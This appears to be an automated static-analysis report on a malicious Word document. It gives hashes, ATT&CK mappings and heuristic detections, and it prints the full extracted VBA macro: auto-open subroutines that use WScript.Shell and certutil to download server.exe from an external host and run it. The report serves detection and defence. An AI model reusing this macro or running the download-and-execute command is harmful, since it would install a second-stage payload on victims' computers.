Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 30d06718548191b0…

MALICIOUS

Office (OOXML)

18.0 KB Created: 2021-06-14 13:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: b596bb6abe32b7995a6aa0e581907aa8 SHA-1: 241e4e7b1a7c8cd45b80c620d5ef0b3fcd399968 SHA-256: 30d06718548191b036a5e1c4a14802fb709444a0f2513e132f9a09e335ee78c4
466 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059.003 Windows Command Shell T1036.005 Match Legitimate Name or Location

The sample contains VBA macros that are automatically executed upon opening the document, as indicated by the Document_open, auto_open, and auto_exec subroutines. The 'test' subroutine uses WScript.Shell to execute a command that downloads a file named 'server.exe' from 'http://ayntextile.com/DataFiles/server.exe' using certutil and saves it to 'C:\Users\public\Server.exe', then executes it. This indicates a downloader functionality aiming to execute a second-stage payload.

Heuristics 12

  • ClamAV: Win.Downloader.CertutilURLCache-6335698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Downloader.CertutilURLCache-6335698-0
  • VBA project inside OOXML medium 9 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Private Sub test()
    Dim shell
    Dim out
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim out
    Set shell = VBA.CreateObject("WScript.Shell")
    out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set shell = VBA.CreateObject("WScript.Shell")
    out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim out
    Set shell = VBA.CreateObject("WScript.Shell")
    out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Set shell = VBA.CreateObject("WScript.Shell")
    out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Private Sub autoopen()
    test
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    test
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Sub
    Private Sub auto_open()
    test
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ayntextile.com/DataFiles/server.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 803 bytes
SHA-256: 5faff4666193efb8965397358c430b13c5ecc1639a6fb63bd1314126982e8626
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
test
End Sub
Private Sub documentopen()
test
End Sub
Private Sub auto_open()
test
End Sub
Private Sub autoopen()
test
End Sub
Private Sub auto_exec()
test
End Sub

Private Sub test()
Dim shell
Dim out
Set shell = VBA.CreateObject("WScript.Shell")
out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
End Sub
Sub r()
'
' r Macro
'
'

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: cd1fd57f346385ab81ca812c922f65c9581cefd2fcf0f23c519246a17fea9035
Detection
ClamAV: Win.Downloader.CertutilURLCache-6335698-0
Obfuscation or payload: unlikely